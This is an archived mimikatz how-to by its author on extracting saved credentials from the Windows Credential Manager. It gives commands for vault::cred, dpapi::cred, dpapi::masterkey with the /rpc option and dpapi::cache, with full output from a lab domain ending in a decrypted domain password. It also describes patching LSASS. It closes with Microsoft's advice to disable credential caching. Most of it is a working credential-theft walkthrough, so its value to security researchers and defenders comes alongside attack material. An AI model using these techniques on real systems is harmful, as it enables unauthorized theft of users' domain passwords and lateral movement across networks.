howto ~ credential manager saved credentials

By gentilkiwi

Archived: 2026-04-05 16:22:01 UTC

There are somes ways to get savec credentials from the Credential Manager

The normal, the standard, the usual way...

With `mimikatz` it's easy as: `vault::cred`

```
 mimikatz # vault::cred
TargetName : genaddr / <NULL>
UserName   : genuser
Comment    : <NULL>
Type       : 1 - generic
Persist    : 3 - enterprise
Flags      : 00000000
Credential : genpass
Attributes : 0

TargetName : domsrv / <NULL>
UserName   : domusr
Comment    : <NULL>
Type       : 2 - domain_password
Persist    : 3 - enterprise
Flags      : 00000000
Credential :
Attributes : 0

TargetName : LegacyGeneric:target=genaddr / <NULL>
UserName   : genuser
Comment    : <NULL>
Type       : 1 - generic
Persist    : 3 - enterprise
Flags      : 00000000
Credential : genpass
Attributes : 0

TargetName : Domain:target=domsrv / <NULL>
UserName   : domusr
Comment    : <NULL>
Type       : 2 - domain_password
Persist    : 3 - enterprise
```

```
Flags      : 00000000
Credential :
Attributes : 0
```

No magic behind: it uses the standard API `CredEnumerate`, with `Flags` at 0 then `CRED_ENUMERATE_ALL_CREDENTIALS` to try to get them all.

Mixed with: `vault::list`, it's enough to get a lots of credentials for the current user (especially Web stuff).

Problem

> ### CredentialBlob
>
> blob
>
> *Secret data for the credential. The CredentialBlob member can be both read and written.*
>
> If the Type member is `CRED_TYPE_DOMAIN_PASSWORD`, this member contains the plaintext Unicode password for UserName. The `CredentialBlob` and `CredentialBlobSize` members do not include a trailing zero character. Also, for `CRED_TYPE_DOMAIN_PASSWORD`, **this member can only be read by the authentication packages**.

http://msdn.microsoft.com/library/windows/desktop/aa374788.aspx

Workaround

So, if we want access to network shares saved credentials, RDP passwords, etc., we need to be admin to alter `LSASS` in order to:

- patch its logic (prevent `LSASS` to check if type is `CRED_TYPE_DOMAIN_PASSWORD`) - this is the current behavior of the `/patch` argument.
- inject a thread or a module in `LSASS` to be seen as an authentication packages

Danger

high voltage

danger

This operation will alter `LSASS` and is **NOT** recommended, especially when you can use the `DPAPI` method.

DPAPI (all the things)

a basic introduction on `DPAPI` stuff is here: module ~ dpapi

Like exposed in https://1drv.ms/x/s!AlQCT5PF61KjmCAhhYO0flOcZE4e, credentials are stored in user's profile. Usually in:

- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials`

Let's take a look

Asking `dpapi` module, `cred` function of `mimikatz`, you can view the "content" of a credential file.

```
 mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\85E671988F9A2D1981A4B6791F9A4EE8"
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000050 - 80
  szDescription      : Données d'identification d'entreprise

  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 024e83a1b7c1412251dd2718126fca84
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : e2bbe3a6e2fe7120ad9000afc3aa5ec2
  dwDataLen          : 00000090 - 144
  pbData             : 9ee6d5c1385baac832fdd3ed1fb21719fc643806df27deb30a0f0b80bfe6258fbd86dc4dfe920b8ad39653b0
  dwSignLen          : 00000014 - 20
  pbSign             : d0f3cb42d4f7aa0253a9229c6da5c6697448887f
```

What is interesting here:

- `dwFlags : 20000000 - 536870912 (system ; )` this is the "bad" new... the `DPAPI` protected the blob with the `CRYPTPROTECT_SYSTEM` flag, preventing an unprivilegied process to decrypt the blob... (~= not you, only `LSASS`)
- `guidMasterKey : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}` this is the `GUID` of the masterkey needed to decrypt the blob. `LSASS` has it in its cache, or will be able to load it on the fly when needed...

Decrypt

Naive approach

Because of the `system` flag (protected by the signature of the blob - we can't alter it), `LSASS` will refuse to unprotect the blob for us...

```
 Decrypting Credential:
 * using CryptUnprotectData API
ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; CryptUnprotectData (0x0000000d)
```

The masterkey

Here, thanks to the previous `GUID` we know that the masterkey is located in: `%appdata%\Microsoft\Protect\<usersid>\cc6eb538-28f1-4ab4-adf2-f5594e88f0b2`

```
 mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
  dwFlags            : 00000000 - 0
  dwMasterKeyLen     : 00000088 - 136
  dwBackupKeyLen     : 00000068 - 104
  dwCredHistLen      : 00000000 - 0
  dwDomainKeyLen     : 00000174 - 372
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 704f7ca8be647c20dc36e8ae4127966b
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 1277546c39d446616022d57823d8337b20b89ef8077dd68acdf65a38ef60310ab66175eeb766a39d66cdc0cb

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 3afaf040c982786cfa36342d8005a16f
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : d9c4e107b6eda306d7b4bf09a23693165d2faa6d52f509c0c4a8cbf08950919024176739d11d82d1e4e6f165

[domainkey]
  **DOMAINKEY**
    dwVersion        : 00000002 - 2
    dwSecretLen      : 00000100 - 256
    dwAccesscheckLen : 00000058 - 88
    guidMasterKey    : {9c71e914-1ed5-4338-8461-4dcc363553be}
    pbSecret         : dd39d20bd5ea9b9b677c1ada3da052cc240476185020337a96df497bd9b46dbf499d5c02d341721d55d3087a
    pbAccesscheck    : 2c5332354ab0bf2ec0fdb17489661e8785532feb72fc491c978cec342f714665e570904642434cc3852ef18c
```

```
Auto SID from path seems to be: S-1-5-21-1719172562-3308538836-3929312420-1104
```

- If you are a domain admin, the `domainkey` part can be very interesting... but here, we consider you are only the current user...
- If you know the user password, you can easily decrypt the masterkey with it.

So, no solution ? Here, few questions to ask yourself:

1. how do you deal with smartcard users without NTLM transmitted?
2. do hippos think rhinos are unicorns?
3. does a domain user who forgets his logon password lose its saved data?

RPC

In domain, a domain controller runs a RPC Service to deal with encrypted masterkeys for users, `MS-BKRP`

- https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-BKRP/[MS-BKRP].pdf
- https://twitter.com/gentilkiwi/statuses/746493452582526976

This service handles the RSA private key associated with all masterkeys of the domain, and is in charge to provided decryption to authorized users (*the danger around this never changed RSA private key is another story, we're not admin here ;)* - *https://twitter.com/gentilkiwi/statuses/609890409830064129* , *https://twitter.com/gentilkiwi/statuses/604408115090591744*)

As this `cc6eb538-28f1-4ab4-adf2-f5594e88f0b2` master key belongs to the current user, we can certainly use it with the `/rpc` argument:

```
 mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-1719172562-3308538836-3929312420-1104\cc
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}

[...]

[domainkey] with RPC
[DC] 'lab.local' will be the domain
[DC] 'dc.lab.local' will be the DC server
  key : 3ed054e284b5d47796f4779a2c0de63ca0ea9c63ce9e3f6868e2dd4f1113f6f3c55d9c1e21d2378c4499f98c0682991647dfd5f
  sha1: 81c99543dea591c11f20d69027ea2016d89d07dd
```

So sweet ! the domain controller has decrypted it for us, and `mimikatz` has placed it in its cache:

```
 mimikatz # dpapi::cache
```

```
CREDENTIALS cache
=================

MASTERKEYS cache
================
GUID:{cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd

DOMAINKEYS cache
================
```

With the key in the `mimikatz` cache, we can display a last time the credential file:

```
 mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\85E671988F9A2D1981A4B6791F9A4EE8"
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {cc6eb538-28f1-4ab4-adf2-f5594e88f0b2}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 00000050 - 80
  szDescription      : Données d'identification d'entreprise

  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 024e83a1b7c1412251dd2718126fca84
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : e2bbe3a6e2fe7120ad9000afc3aa5ec2
  dwDataLen          : 00000090 - 144
  pbData             : 9ee6d5c1385baac832fdd3ed1fb21719fc643806df27deb30a0f0b80bfe6258fbd86dc4dfe920b8ad39653b0
  dwSignLen          : 00000014 - 20
  pbSign             : d0f3cb42d4f7aa0253a9229c6da5c6697448887f

Decrypting Credential:
 * volatile cache: GUID:{cc6eb538-28f1-4ab4-adf2-f5594e88f0b2};KeyHash:81c99543dea591c11f20d69027ea2016d89d07dd
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 0000008e - 142
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
```

```
    LastWritten    : 11/12/2017 19:58:36
    unkFlagsOrSize : 00000010 - 16
    Persist        : 00000003 - 3 - enterprise
    AttributeCount : 00000000 - 0
    unk0           : 00000000 - 0
    unk1           : 00000000 - 0
    TargetName     : Domain:target=domsrv
    UnkData        : (null)
    Comment        : (null)
    TargetAlias    : (null)
    UserName       : domusr
    CredentialBlob : dompass
    Attributes     : 0
```

Good, we now have credentials:

- Server: `domsrv`
- UserName: `domusr`
- Password: `dompass`

Without any particular rights.

 good

What you can do?

Nearly nothing... the ability to decrypt its own masterkeys by RPC is by protocol/design... and is needed when using smartcard or when loosing passwords.

But, storing domain credentials in the credential manager is a bad practice... even Microsoft recommend to disable it... (but in the name of legacy, will enable it by default)

> **Best practices**
>
> It is a recommended practice to disable the ability of the Windows operating system to cache credentials on any computer where credentials are not needed. Evaluate your servers and workstations to determine the requirements. Cached credentials are designed primarily to be used on laptops that require domain credentials when disconnected from the domain.

Original text and GPO to disable this kind of sensitive storage:
https://technet.microsoft.com/library/jj852185.aspx
